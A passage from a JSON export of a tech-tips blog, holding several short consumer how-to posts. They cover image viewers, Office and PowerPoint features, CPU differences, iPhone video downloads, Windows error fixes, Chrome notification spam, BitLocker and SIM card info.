Poetics of Fuubutsu provides a substantial elemental damage bonus for every Elemental Mastery point on his body. Since it's easy to stack Elemental Mastery with artifacts, gamers will find Kazuha's bonus awesome in any fight.\nSucrose: Mollis Favonius \u0026amp; Astable Invention Sucrose has a good but often underrated passive talent. Her second talent is called Mollis Favonius which allows a part of her Elemental Mastery to be shared with teammates. This is the ideal character to use with Diluc.\nMeanwhile, Sucrose's talent for Astable Invention is truly amazing. Sucrose can double character enhancement products and weapon materials at a rate of 10%.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jJyfmqqRmMGmvtJmrqKsmGLBqbGMm5ysrF2prq2xza1kraddm7aotNNmoKdll5q7tLTIp2SipaCWsLV6wKan\n","link":"/post/top-characters-with-the-best-talent-to-fight-in-genshin-impact/","section":"post","tags":null,"title":"TOP characters with the best talent to fight in Genshin Impact"},{"body":" Free software Version: 8.0.12.8 Update date: 02/24/2021 Platform: Windows Download ImageGlass 8.0.12.8 here.\nImageGlass runs fast and is relatively light on resources, but isn't the fastest or lightest third-party image viewer available for Windows 10.\n  ImageGlass Features Supports many file formats ImageGlass can save images in different formats (BMP, EMF, EXIF, GIF, ICO, JPG, PNG, TIFF, WMV, BaseString), meaning you can use it to convert images to one of these supported format. A color picker that supports RGBA, HEXA, HSLA can be used for artists and designers. The mouse wheel can be used to scroll and zoom. In addition, you can customize actions from settings to more.\nYou can copy the image to the clipboard, switch to ImageGlass and use the option \"Open image data from clipboard\" to open the image directly in the viewer.\nImageGlass also supports animated GIFs, and you can use the program to pause animations or even save a specific frame from the clip, you can even define the zoom level. The program can be used to view different color channels in an image such as red or blue. green, black and alpha. Try and save the results for a truly compelling photo.\nThe only thing ImageGlass can't do is edit the image. But you can set the default image editor for each format in its settings to open directly from the viewer.\nMany useful options What users like most about this app is the toolbar because it has a ton of useful options - all accessible with just one click. The icons for these options are pretty cool too. You can use the toolbar to navigate from one image to another, rotate or flip an image, scale or zoom the view, and so on.\nThe most important options on the ImageGlass toolbar are the options at the bottom. Thumbnail view can be used to show thumbnail preview gallery of all images in the same folder, useful for searching for images just by glancing at them. The background gives the interface a nice photo editor-like interface. Other options are to view the picture in full screen, play it as a slide show, and delete the picture.\nThe title bar is also very useful, it not only shows the name of the photo, but also the file path, resolution or image size. ImageGlass has two themes: dark gray and light gray, but there are many other themes for the program on the official website.\nShortcuts are also supported. You can use the arrow keys to navigate between images, using shortcuts to save images, start a slideshow or zoom, etc . A handy shortcut is Ctrl + Shift + L used to open the location of images on the system.\nImageGlass is user-friendly, fast and accurate. It doesn't have as many features as some of the other programs and isn't the fastest or most resource-friendly option either, but it doesn't work too bad either. If you still haven't selected an image viewer for your Windows 10 device, you might want to give ImageGlass a try.\nAdvantages\nSupports many file formats Useful tools Support handy keyboard shortcuts User friendly Defect\nImage editing is not allowed Not the fastest and lightest option for Windows 10 ImageGlass ncG1vNJzZmismaXArq3KnmWcp51ksbDDzaWmmpxdnrqis8Sgo5qro2KFcX2RcWSaZZansqZ5yKaYoJ1dq7amw8SrZJ%2BnomLEqrrDqK6s\n","link":"/post/a-free-image-viewer-for-windows/","section":"post","tags":null,"title":"A free image viewer for Windows"},{"body":"Microsoft Office 2003 is the most commonly used text editor available today. When using Office 2003, you should add free toolkits from Microsoft, which help with text editing when you handle Microsoft Office 2003.\nInternational Character Toolbar\nICT 1.0 is free to download here (658Kb capacity). After downloading and installing (requires Office 2003 installed on your computer), ICT will help you insert the characters of 26 languages ​​into the text. You only need one click instead of having to go to Control Panel to reset the keyboard language, or edit the language settings for Office 2003.\nPopular characters are also quickly reused with the 'Most Recently Used' bar, which can open multiple languages ​​at the same time. In addition, you can also create your own custom bar with your own characters and symbols and share them with your friends.\nInternational Character Toolbar complements Microsoft Office Outlook 2003, Office Powerpoint 2003, Microsoft Office Word 2003. Works on Windows 2000 service Pack 3, Windows Server 2003, and Windows XP operating systems.\nHow to use the International Character Toolbar:\nAfter installing ICT (ict_usEN.exe), open Office 2003 as Word. You will see a new toolbar appear. Use the following:\n- To insert certain characters or symbols, simply click on it.\n- Insert the letter with uppercase, hold Shift and click on the character.\n- To move a character to another toolbar, hold Ctrl + Alt and drag it.\n- To select languages, select 'Select Sets' in the toolbar.\nOffice File Converter pack\nWorks on Windows operating system versions: Windows 2000; Windows 2000 Professional Edition; Windows 2000 Server; Windows 98; Windows 98 Second Edition; Windows Server 2003; Windows XP; Windows XP Home Edition; Windows XP Professional Edition; Windows XP Professional Edition Service Pack 2; Windows XP Service Pack 1. Office File Converter Pack (OFCP) for Microsoft Office 2003, Office XP, Office 2000, Office 97 is available for free download here.\nOffice File Converter Pack is used to convert files and images for Microsoft Office, from Microsoft Office 97 to Office 2003. OFCP does the conversion and filtering for old and less-used text and image formats. use. This version 11 completely replaces the previous versions and notes that the format conversion function from Corel WordPerfect is only compatible with Office Word 2003. To perform this conversion function, you must set the installation option. For Office 2003, add these conversion options, you can use the Add / remove Program in Control Panel.\nPersonal Folders Backup\n160KB Personal Folders Backup 1.0 is available here for free. After installation, Personal Folders Backup will support the mail backup function for Microsoft Outlook by creating a backup folder for the .PST format files for Outlook 2000 or later. The .PST files store folder information in Outlook such as Inbox, Calendar, and Contacts.\nYou can find details on how to use Personal Folders Backup here.\nncG1vNJzZmismaXArq3KnmWcp51krqWwyK2gqKaRoXq1u86lqmaen6d6sLLFopqeZWJlfXQ%3D\n","link":"/post/additional-tools-for-office-2003/","section":"post","tags":null,"title":"Additional tools for Office 2003"},{"body":"The following article introduces you to insert, use and customize effects with audio and video in Powerpoint.\n1. Insert audio into Powerpoint - To insert effects for sound, you first need to perform the operation of inserting sound into the Slide. Click the Insert tab -\u0026gt; Media -\u0026gt; Audio:\n  - Select the path to the file to insert:\n  - After selecting Insert audio file has been inserted in the slide:\n  - Proceed with selecting effects for sound by selecting Playback tab in Editing section with following options:\n+ Fade in: Select a volume to get bigger.\n+ Fade out: Select a smaller volume.\n  - In Audio Option, include the following options:\n+ Start: Choose how to control the Slide.\n+ Play Across Slide : Play the sound during slide show.\n+ Hide During Show: Hide the icon of the speaker of the sound.\n+ Loop until stopped: Play the audio file until the action stops from man.\n+ Rewwin after playing: When running 1 turn automatically go back to the beginning of the audio file.\n  Alternatively, right-click on the audio file and select Timing to select the above setting for audio.\n2. Insert video into Powerpoint - Perform the same operation to insert video files:\n  - Select the path to the file to insert, the result has already inserted the video into Slide:\n  - You perform the same effect setting as inserting audio files. Here I introduce you how to create more notes, create highlights when playing videos by using Bookmark in conjunction with Trigger.\n- For example, when running to the time 4 minutes 43 seconds show a note:\nStep 1: Create a textbox to create notes:\n  Step 2: Create effects for notes:\n  Step 3: Create a bookmark for the video by selecting the point you want to add a note when running the video (for example, choose the time of 4 minutes 40 seconds) -\u0026gt; click the PlayBack tab -\u0026gt; Bookmarks -\u0026gt; Add Bookmark the results have been created Bookmark on video:\n  Step 4: Move the Trigger part of the sound to the top of the textbox:\n  - Combined results of Bookmarks and Trigger:\n  - When playing the video up to 4 minutes 40 seconds, the textbox automatically displays according to the selected effect.\nAbove is a detailed guide on how to use and set up effects for audio and video in PowerPoint 2016. Wish you success!\nncG1vNJzZmismaXArq3KnmWcp51ksLOxwK2cZpmemXq2v8RmnJ%2BelZjBtHnFqKlmmaWZtrB5wKebZq6ZmbKwecinZKmnp5q%2FsbvIp6s%3D\n","link":"/post/create-and-use-effects-for-audio-and-video-in-powerpoint/","section":"post","tags":null,"title":"Create and use effects for audio and video in PowerPoint"},{"body":"Do you know what is the difference between Laptop CPU (chip) and PC CPU?\nIn terms of specifications, they are almost similar without too much difference, but those who have used both of them before agree that they do not have the same performance. So what difference caused this?\nSpecifically, the CPU on a Laptop is usually weaker than on the CPU of a PC if the same specifications. Okay, now let's try to analyze:\n#first. Electric used   As you know, with a mobile device, the usage time factor is paramount, it is always one of the important criteria to evaluate whether to buy that device or not.\nAnd laptops are similar, to optimize battery life for laptops, laptop CPUs will consume less power than chips of PCs (desktop computers), considering the same configuration.\nSo the same configuration parameters, but the CPU power of the Laptop cannot be equal to the CPU of the PC.\nMaybe many of you will think that with the modern chip manufacturing process (1nm, 2nm, 5nm…) and new technology, the CPU will be very powerful but does not consume too much energy.\nHowever, that is only on a theoretical basis, used under ideal conditions and they are often compared with previous generations. A law that can be said to be immutable (at least in the near future) is that the more powerful any electrical (electronic) device, the more energy it will consume (electricity). =\u0026gt; So, in order to balance between performance and battery life, chip manufacturers for mobile electrical devices will have to balance it in the most reasonable way. So about this part of power consumption, the PC computer wins absolutely.\n#2. Limited heat dissipation   An electrical (or electronic) device will need a source of energy to function, and it will require more energy when operating at full capacity or operating at high intensity.\nThe more power is used, the more heat will be generated and it will obviously cause the CPU to heat up quickly. At that time, the problem of heat dissipation was again raised for chip manufacturers.\nAnyone who has ever 'dissected' looking at the cooling system on a laptop will probably find it has many inadequacies.\nHowever, limitations in terms of physical size, installation space, or even weight and production costs, so everything cannot be resolved in the best way.\n  Laptop cooling system consists of only a temporary system called thick copper bar to conduct heat and usually at the end of the road will be a squirrel cage with very limited grilles and fans for cooling.\nSo obviously they can't be enough, especially when the laptop has very little free space =\u0026gt; making the internal temperature unable to escape in the usual way.\nOn a PC, it's different, the PC case is very large, so the hot air emitted will be easier to push outside. Moreover, it is much easier to install more heat sinks on the PC, there is a lot of area for us to install.\n#3. Size restrictions\u0026nbsp; Obviously, the laptop only has a small space to install the CPU. So the chips will also have to be designed smaller.\n#4. Limited upgrade The current popular laptop lines are almost 90% soldered to the CPU on the motherboard, that is, they are fixed by solder on the Mainboard.\nDespite the fact that we can still remove it with specialized equipment and replace it with a more powerful CPU (as long as it is supported), in general, upgrading the CPU is relatively difficult.\nOf course, these things should only be done in large centers that have full specialized equipment to do them.\nMoreover, removing the old CPU from the mainboard is quite dangerous, because according to many experts, to remove the CPU from the solder joint will require a large amount of heat.\nThen, when installing, you have to do the same thing to connect the solder joint with the CPU, this process if not careful will damage the CPU and surrounding components.\nAnd as far as I know, after replacing the CPU, it is quite troublesome to intervene in the driver, so replacing and upgrading the CPU for Laptop is usually not recommended (of course for those CPUs that are soldered to death). on the mainboard).\nAs for the CPU on the PC, it is different, replacing and upgrading the CPU is extremely easy. Because most CPUs on PCs are removable, as long as the standard and mainboard support them, they can run comfortably.\n#5. Do heavy work, don't think about Laptop   Through the above, we can see that Laptops are born for jobs that need mobility and neatness.\nIf you ask: why do manufacturers make powerful configuration versions, large sizes for what?\nIn my opinion, it is simply an economic issue, the products offered will attract a temporary set of customers called Laptop likes. That is, this group of customers knows the limitations and inadequacies of laptops, but they still use them because they simply like them.\nAs for users with moderate conditions like us, it is best if you have determined to do heavy work, you should not spend a large amount of money on a Laptop, but instead you should invest in a PC. most certain.\nOtherwise, when using the laptop to do heavy work, please plug in the charger to use it, the power is strong enough to help the computer achieve better performance than when using the battery.\nEvery device is born for the purpose of serving people, it cannot be said that Laptop with the above limitations we consider it unnecessary.\nBorn and existed to this day, it proves that Laptops always have a place and will become more and more solid in the future when the need to work online, as well as people's demand for flexible use, is increasingly being promoted. .\nOnly a group of people who specialize in doing heavy work, requiring really high computer configuration, should switch to a PC to do it. Otherwise, I find the performance on the laptop has met most of the user's work needs.\nThrough this article, I believe you have a better understanding of the basic difference between CPU on Laptop and CPU on PC, right? Hope you have more useful information.\nCPU laptop CPU ncG1vNJzZmismaXArq3KnmWcp51ksaqyxZ6pnqaTmnqjsdOwnJ6mXaGuscDOqWScqKVirq%2BwjKmaZpugqg%3D%3D\n","link":"/post/difference-between-laptop-cpu-and-pc-cpu/","section":"post","tags":null,"title":"Difference between Laptop CPU and PC CPU"},{"body":"This wikiHow teaches you how to disable the ability of your iPhone, iPad, or Mac to send and receive iMessages. Open your iPhone's Settings. It's an app with gray cogs you may find in a folder labeled 'Utilities.'\nMethod 1of 2:\nOn an iPhone or iPad  Open your iPhone's Settings. It's an app with gray cogs you may find in a folder labeled 'Utilities.'\n  Scroll down and tap Messages. It's in the fifth set of options.\n  Slide the iMessage button to the 'off' position. It will turn white, and iMessage will be disabled. You will still receive messages from friends using iMessage, but they will come to you as SMS. Turning iMessage off is ideal for saving cellular data and if you don't have good internet connection. It's also necessary to do before you switch to another smartphone with the same number, or you won't receive your texts. Your iPad won't have messaging capability without iMessage enabled.   Samuel Daniel Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyZqK6juMRmoKado6iuqLE%3D\n","link":"/post/how-to-disable-imessage/","section":"post","tags":null,"title":"How to Disable iMessage"},{"body":"To download YouTube videos on Android, or download videos on iPhone is no longer as complicated as before. There are many applications that support downloading videos on your phone, with a simple and fast way to download YouTube videos to your computer.\nWith iPhone we have many applications like FoxFM, Browser and Documents Manager, . without watching YouTube videos offline on the phone. Especially with newly upgraded iOS 12, you can immediately use Siri Shortcuts application. This is the application that creates many actions done on the iPhone, such as turning off WiFi completely on the Home screen, downloading many file formats to iPhone. The following article will guide you how to use Siri Shortcuts to download YouTube videos on iOS 12 and applications to download YouTube videos from iOS 12 and below.\nThe fastest way to download Facebook videos to your computer without software How to use YouTube Manager to download videos on Youtube channel How to download closed Facebook videos 1. Instructions for downloading YouTube iOS 12 videos Step 1:\nFirst you download Siri Shortcuts application follow the link below with iOS 12 iPhone installed.\nDownload Siri Shortcuts application Step 2:\nNext open Siri browser and access this link.\nIn the new interface press Get shortcut . After that, the Siri Shortcuts application will be displayed, click the Library section at the bottom of the screen and see the Media Downloader shortcut appears.\n   Step 3:\nWhen clicking on the 3 dots icon at Media Downloader, the interface will be selected from the menu. Here the user can choose to delete unwanted video applications, or set them up as well. Just click on the red circle to remove the application.\nIt can be seen that Media Downloader supports downloading videos on YouTube, Facebook, downloading videos Twiiter, Dailymotion, downloading Instagram videos.\n  Step 4:\nOpen the YouTube application on iPhone to download videos. Siri Shortcuts can work right on the YouTube application. In the interface for playing YouTube videos press the Share button . Appears the interface to select the shared application, press the Add button .\n   You will then see the Shortcut icon to select. In case you do not see the Shortcut, click on the Add button and then activate Shortcut to use.\n   Step 5:\nDisplay Siri Shortcuts application, click on Media Downloader . Then click on the YouTube application to download the video.\n   Step 6:\nNext you wait for the YouTube video link application to be selected and the video resolution you want to download is selected, depending on whether the video has multiple resolutions.\n   Step 7:\nWait for Media Downloader to download the video to the device and users need to agree to let Siri Shortcuts access the photo album on the device, press OK. Thus YouTube videos will be saved in Camera Roll photo album.\n    2. Download iOS 12 videos or below 1. Download YouTube videos with Browser and File Manager for Documents\nThe job of downloading YouTube videos with Browser and File Manager for Documents on the iPhone is very simple, we just need to copy the video URL of the application to the download to complete. In the guide below, Network Administrator will guide users how to download YouTube videos on iOS 10 using the Browser and File Manager for Documents application.\nStep 1:\nFirst of all, download the Browser and File Manager for Documents app for iPhone and iPad following the link below.\nDownload Browser and File Manager for iPhone Documents Step 2:\nAfter successfully downloading the application to the device, we proceed to launch. First, the application will ask users to grant access to media albums on the device, press OK to agree. Then comes the request to receive notifications from Browser and File Manager for iPhone Documents or not. Click Allow or Don't Allow.\n   Step 3:\nNow go to the YouTube app on your device and copy the video URL . Then paste the link URL of the YouTube video into the address bar on the Browser and File Manager for Documents application interface , then click Go below.\nDownload the YouTube app for iOS    Step 4:\nSoon, we will see the video interface on YouTube as shown below. Press the Play button in the middle of the interface to play the video. When the video playback interface appears, a small file Download file? will ask if you want to download the video, click Download to download.\n   Step 5:\nGoing back to the original interface of the video on YouTube, we will click on the Download section below the interface. Soon, you will see the YouTube video successfully downloaded using Browser and File Manager for Documents .\n   Step 6:\nNext, click on the 3 dots icon and then click on Open In . Continue, click Next Save Video in the new dialog to download YouTube videos to the device.\n    Step 7:\nBrowser and File Manager for Documents will appear a message asking users to allow access to the image library on the device , click OK . Now, you just need to open the Video album on iPhone and enjoy the newly downloaded YouTube video.\n   Very simple, isn't it! To download YouTube videos with Browser and File Manager for Documents, users will not need to perform too many complicated steps, just copy the video URL and paste it into the address bar of Browser and File Manager for Documents application. In addition, the application also supports downloading and managing many other file formats such as PDF, docx, or zip file.\n2. Download YouTube videos with PlayerXtreme Media Player\nTo download YouTube videos to iPhone, we can use the PlayerXtreme Media Player application with many different useful features.\nThis application can manage multimedia files on the device, including audio, video and images. You can download videos on YouTube, or download audio files from Zing MP3, Nhaccuatui easily. And then can watch the video even if the device does not have a WiFi connection. Besides, PlayerXtreme Media Player also supports us in transferring video or audio from computer to iPhone, via IP address for you to access.\nDownload the PlayerXtreme Media Player application Step 1:\nWe download the application according to the link above and then start. In the first interface, the application will ask if you want to receive notifications. Next, in the main interface of the application click on the Network tab below.\n   Step 2:\nGo to the new interface and click on the Internet (YouTube, .) section . The interface of the website address to download video or mp3 appears. If you want to download YouTube videos, you can click directly on the icon on this interface.\n   Step 3:\nIn the YouTube interface click the magnifying glass icon to search for the video you want to download. Next, when in the video playback interface, click the Grab icon in the lower right corner of the interface as shown. A sub-menu appears to choose to play videos on the PlayerXtreme video player or download videos to the device.\nDepending on the video you want to download, we will have more options for the resolution or format of the video. To download videos click the Download button.\n    Step 4:\nSoon you will see the Library item indicating the number of new files to download. Click to open and see the video download process on the application.\n   When this process is completed, users simply click on the video, then press the blue Play button to view it offline without an Internet connection.\n    Step 5:\nTo download songs on Zing MP3 or Nhaccuatui , enter the website address in the top bar and search for the song you want to download. For example, I will download the song on Nhaccuatui.\nIn the song playback interface, also click the Grab icon below to download. Appears a submenu, press Download to download the mp3 file to your phone.\n    Step 6:\nThe Library item will immediately notify the user. Wait for the download process to succeed and just open it up to finish listening.\n    Above is a detailed guide on how to use PlayerXtreme to download YouTube and audio videos to iPhone. In addition, the application can quickly transfer files from computer to iPhone. You can watch videos, listen to music even when offline. With the Pro version, we will be using Chromecast support to display content on a regular screen, or Airplay, capture video, cut video frames, etc.\nRefer to the following articles:\nYouTube videos do not play on Android, iOS, computers and Mac, this is how to fix errors How to Upload, Download Videos to YouTube on iPhone? I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyfrLutu8CdZLKnpanCo7GMr6CdnZ%2BoerW7jKKnoaeemnqxtM6nnKw%3D\n","link":"/post/how-to-download-youtube-videos-to-iphone-phones/","section":"post","tags":null,"title":"How to download YouTube videos to iPhone phones"},{"body":"Today's article will show you how to fix 0x0000007F: UNEXPECTED KERNEL MODE TRAP in Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1 and Windows 10.\nInstructions for troubleshooting 0x0000007F (UNEXPECTED KERNEL MODE TRAP) About error 0x0000007F Describe The cause of 0x0000007F error  Fix 0x0000007F error on Windows Method 1: Check new hardware Method 2: Check RAM memory Method 3: Update or disable the driver Method 4: Disable cache from the BIOS  About error 0x0000007F Describe The 0x0000007F error is usually triggered by two situations that occur in kernel mode: The CPU generates a condition where the kernel is not allowed to find errors or unrecoverable errors.\n  The most common cause is hardware failure, mainly due to memory failure or mismatch. If the faulty software is currently installed on the computer, it may cause this error to appear.\nOn Windows 8 computers, the error code is replaced with UNEXPECTED_KERNEL_MODE_TRAP:\n  The cause of 0x0000007F error This error occurs due to one or more of the following causes:\nCause 1: RAM failed\nThe most common cause of this error is due to RAM failure and frequent read / write errors. If that is the case, you should scan the system memory and replace the failed RAM.\nCause 2: Device driver is broken or outdated\nSometimes device drivers may be misconfigured, corrupted or outdated. It can also happen after updating Windows or downgrading Windows from the new system to the old system.\nFix 0x0000007F error on Windows Method 1: Check new hardware If an error occurs after installing new hardware, it is likely that the error is caused by that specific hardware. To fix the problem, simply remove the new hardware and restart the computer. If an error occurs after installing a new hardware driver, switch to method 3.\nMethod 2: Check RAM memory Errors can be triggered by memory errors or mismatches.\nIf the 0x0000007F error occurs immediately after you plug in the new RAM, turn off the computer, remove it, and then restart the computer and check if the error has been fixed.\nIf an error occurs due to RAM error, check RAM with Windows Memory Diagnostic tool.\nPlease refer to the article: How to check and detect RAM and hardware problems on your Windows computer? to know how to do it.\n  If Windows Memory Diagnostic does not return any results, you can also use the Automated Repair feature of Easy Recovery Essentials to check your RAM, HDD and CPU in one process:\n1. Download Easy Recovery Essentials.\n2. Burn ISO image. Follow the instructions in the article: Use Daemon Tools to create ISO Image in Win 7 and Tips to burn ISO file from Command Prompt on Windows 10. If not, you can use USB recovery. Follow TipsMake.com 's instructions on how to create a recovery USB.\nCreate USB drive to recover Windows 8 Create USB Recovery in Windows 8.1 How to create a Windows 10 recovery USB when it fails? 3. Boot into Easy Recovery Essentials .\n4. Select Automated Repair.\n5. Click Continue and wait for the Automated Repair process to finish. Automated Repair will report any problems found on the hard drive or RAM memory:\n  Method 3: Update or disable the driver To check if the 0x0000007F error occurs because the drive is faulty, run the automatic driver update or manually update the drivers to the latest available versions.\nTo update the driver manually, follow these steps:\n1. Click Start.\n2. Enter devmgmt.msc in the search box.\n3. Click devmgmt from the results list.\n4. Right-click the driver.\n5. To update the driver, select Update Driver Software .\n6. To disable the driver, select Disable.\n7. To uninstall the driver, select Uninstall.\n  \nTo update the driver automatically, follow these steps:\n1. Click Start.\n2. Go to Devices and Printers .\n3. Right-click on the computer.\n4. Select Device Installation Settings .\n5. Select Yes, because this automatically .\n6. Click Save Changes.\n7. Follow the steps needed to continue the process.\n  You can refer to the article: How to automatically update drivers on Windows using SnailDriver.\nMethod 4: Disable cache from the BIOS Follow these steps to open the BIOS menu and disable Cache Memory, then check if the error 0x0000007F appears:\n1. Restart the computer.\n2. Press F2 or Del key to enter BIOS Setup.\n  \n3. Note the main instructions in the upper right corner.\n4. Go to the Advanced menu .\n5. Select Cache Memory.\n6. Make sure Cache Memory is disabled (Disabled).\n7. Press F10 to save and exit ( Save \u0026amp; Exit ).\n8. Select Yes.\nWishing you a successful fix!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXpxxI9pZ2loYGyzbsHNnq%2BpnZOpsqV5yp6pp52cYrqwsMRmq6uZoGKys77Oq2Sipl2stq%2BwzrCq\n","link":"/post/how-to-fix-0x0000007f-unexpected-kernel-mode-trap-error-in-windows/","section":"post","tags":null,"title":"How to fix 0x0000007F (UNEXPECTED KERNEL MODE TRAP) error in Windows"},{"body":"In the process of using our computer to work, especially the use of the Internet to access Web sites, we will often encounter errors of failing to access random Web sites. This is a common error on computers, they occur continuously on many different Web sites. In this article, the Software Tips will guide you on how to fix network errors but not access some websites.\n  1. Reset Network Modem This is one of the first things we do when we need to handle the error of not accessing the Web site. During use, the Modem often encounters errors of overloading or overheating for a long time, resulting in unstable or interrupted network transmission. This workaround is up to 70% effective in different cases.\n  How to do: You proceed to turn off your Modem and wait about 10 minutes before restarting. If you do not know how to turn off / turn on the Modem, you can also unplug it and then plug it back in.\n2. Check the date and time again To access the network on the computer, the service providers require users to provide, using the time on the computer is the actual time. This often happens to computers that run out of CMOS PINs, which makes it impossible to store data in the BIOS. First you need to replace the CMOS PIN if they are out.\nIn addition, you can adjust the time and date on the computer as follows:\nStep 1: you right click on the date and time on your computer and select Adjust date / time .\n  Step 2: Then in the Time Zone section you choose UTC +7 Bangkok, Hanoi, Jakatar because this is the standard time zone of Vietnam.\n  Step 3: After returning to the time zone, select Set time automatically so that the system will automatically update the date and time for your device.\n  Step 4: You turn on the feature Set time zone automatically to turn on automatically select the correct time zone according to coordinates.\n  You can then revisit the Web pages to check the results.\n3. Use an incognito tab One of the most useful ways is to use incognito tabs. Incognito tab will help you bypass if your computer is being blocked on the database system. By using an incognito tab, you can both avoid exploiting personal information and access the blocked website. If the data system blocks an entire network, all devices on that network cannot access that Web site.\nHow to start an anonymous Web site:  Ctrl + Shift + N .\n  4. Turn off antivirus software Antivirus software today is very modern, so it sometimes gives us inconvenience. Specifically, you can see that today's anti-virus software is built into both browsers to support us from accessing bad websites. But machines also make mistakes, even the leading browsers in the world today also detect wrong / wrong viruses. Please temporarily turn off your anti-virus software to try again.\n  5. Use a different browser Each browser on a computer uses a different code structure and different cores. Maybe the browser is not suitable for the conditions to access the Web site you are looking for. Please try with many different browsers to check again. Some good web browsers such as Google Chrome, Firefox, Coc Coc.\n  6. Use dynamic DNS addresses Step 1: You click the network icon on the Taskbar and select the Network \u0026amp; Internet Settings .\n  Step 2: In the new Settings window, select Change adapter options .\n  Step 3: Next, right-click on Ethernet and select Properties .\n  Step 4: In this window, go to Internet Protocol Version 4 (TCP / Ipv4) and double click to edit.\n  Step 5: Here you proceed to Obtain DNS server address automatically and click OK to finish.\n  Then you proceed to revisit that site to check.\n7. Contact the Web site owner A faulty Web site is caused by many different problems, possibly caused by the Web site itself and not by your device. A website often encounter Server errors, domain name lease term, . Please actively contact the owner of the Web site for more specific and detailed information.\nThus, in this article, the Software Tips introduced you 7 ways to fix the error of not being able to access the Web even though there is a network. Have a nice day!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqvsdOwpqujXaW%2FsK7LnqSsZZKqwW6vwKerZpmTmLK0v4yspqadXayyo7%2FIrZys\n","link":"/post/how-to-fix-network-problems-but-can-t-access-some-websites/","section":"post","tags":null,"title":"How to fix network problems but can't access some websites"},{"body":"If you are continuously getting irrelevant pop-up notifications from the unknown sources, there is a possibility that your Chrome browser has been infected\u0026nbsp;with a malware like a browser hijacker or adware.\nIn this guide, we would discuss how to stop and remove the Chrome notification spam.\nWhy am I getting Chrome Notifications? The most common cause of unintended notifications is the \"accidental\" click. You might have visited any website, which has asked for your permission to send the notifications. Unknowingly, you might have clicked \"Allow\" on the prompt message. That's it. Now that website is free to send you any type of pop-ups.\nHowever, that is not always the case. Some malicious programs can alter your browser's settings and send you unintentional and irrelevant pop-up notifications so that if by mistake, you click on it, they can generate revenue.\nYou might have installed such malicious programs through various means, such as bundled software, visiting an infected website, or installing fake antivirus software.\nIn the next section, we would discuss how to remove this malware and stop Chrome notification spam.\nHow to Stop Chrome Notification Spam? Turn Off Chrome Notifications If there is no malware and you want to turn off Chrome notifications for a particular site such as Facebook and others then follow these steps:\nOpen the Chrome browser and go to Settings by clicking in the three dots at the top-right corner.   Click on Site Settings, under the heading of Privacy and security.\n  Under Permissions, select   Add sites on the block list.\n  Block the allowed sites from which you don't want notifications.\n  Totally turn off the notifications by switching off the \"Site can ask to send notifications\" button.\n  Use Chrome Malware Scanner Many of the users are unaware of the fact that Google Chrome comes with an in-built malware scanner. Though this scanner automatically works in the background, you can perform a manual scan too.\nOpen Google Chrome and navigate to Scroll down and click on Advanced.\n  Under \"Reset and clean up,\" click Clean up computer.\n  Click on the Find button to start the scanning. You can also uncheck the below option if you don't want the scan report to be sent to Google.\n  Click on Remove, if prompted, to remove the caught malware. Perform Scan with Windows Defender If you are a Windows 10 user, you have got the in-build antimalware program. You can use it to perform a scan.\nType Windows Security on Windows search bar and click on its icon to open it.\n  Select Virus \u0026amp; threat protection.\n  Under it, click on Scan options.\n  Choose Full scan and click Scan now.\n  Use a Third-Party Antimalware If the notifications are still displaying, you can go for a robust antimalware solution and perform the full scan of the system to catch the culprit malware program.\nReset Chrome Browser If the problem still persists, then maybe the settings are not correct. Performing a reset might solve this problem.\nOpen the Chrome browser and navigate to Settings-\u0026gt; Advanced Settings. Under Reset and clean up, choose Restore settings to their original defaults.\n  Click on Reset Settings.\n  Reinstall Google Chrome If you are still getting the spam notifications, then, unfortunately, you have to uninstall and then freshly install the Chrome browser.\nOn Windows system, open Control Panel and choose Uninstall a program under Look for Google Chrome and click on Uninstall.\n  Download and reinstall Google Chrome from its official site. Final Words In this guide, we have discussed what are the causes of irrelevant and unintentional Chrome notifications. Further, we have listed down the ways through which you can get rid of those. To avoid such problems in the future, it is recommended to keep installed an extensive antimalware solution on your system and always follow the healthy browsing practices.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqukpL1ur8erpqadXaO8tbXFopqarJmku26%2Fz5qk\n","link":"/post/how-to-stop-chrome-notification-spam/","section":"post","tags":null,"title":"How to Stop Chrome Notification Spam"},{"body":" BitLocker is a tool in Windows that can be used to encrypt fixed drives, but also operating systems as well to protect your core data from outside intrusion. Go to Settings \u0026gt; Update \u0026amp; Security \u0026gt; Device encryption.\nMethod 1of 3:\nWindows 10  Go to Settings \u0026gt; Update \u0026amp; Security \u0026gt; Device encryption.\n  Choose \"Turn on\". This will enable BitLocker. It may take a while for the drive to fully encrypt.\n Method 2of 3:\nWindows 7 and Later  Press the Windows button on your keyboard and \"S\" at the same time.\n  Type in \"bitlocker\" in the search window that comes up.\n  Select \"Manage BitLocker\".\n  Click on \"Turn on BitLocker\".\n Method 3of 3:\nEnabling BitLocker without Compatible TPM  Log on with administrative privileges.\n  Press the Windows button on your keyboard and \"S\" at the same time.\n  Type and select GPEDIT.MSC \n  On the left pane, select Computer Configuration \u0026gt; Administrative Templates \u0026gt; Windows Components \u0026gt; Bit Locker Drive Encryption \u0026gt; Operating System Devices.\n  On the right, double-click 'Require additional authentication' at startup.\n  Click the \"Enabled\" radio button. Double check that \"Allow Bit Locker without a compatible TPM checkbox\" is checked.\n  Click OK and repeat the process for enabling BitLocker in Windows.\n  Isabella Humphrey Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu81mmaKsnKSwrLHRZqCnZaeeu6W71qw%3D\n","link":"/post/how-to-turn-on-bitlocker-in-windows/","section":"post","tags":null,"title":"How to Turn on BitLocker in Windows"},{"body":"Each mobile phone must have 1 SIM card inside. Without a SIM card, you can't make outgoing calls and can't have your own mobile phone number. Everyone knows their mobile phone number, but not many people know the SIM number or ICCID number of the SIM card. This unique SIM number (ICCID) is usually 20 characters long and is stored inside the SIM card memory. If you do not record this SIM number when you first buy the card, you will have to go to the mobile service office to know what the 20 characters are.\nHow to copy contacts from sim to Samsung phone What is Viettel Sim Internet? Offers of Viettel Internet sim However, if you have an Android smartphone, you can easily know this information with more information using the SIM Card Info application . The application does not require any special privileges. It only reads all the information from the SIM card you have installed on your phone.\nThe application displays 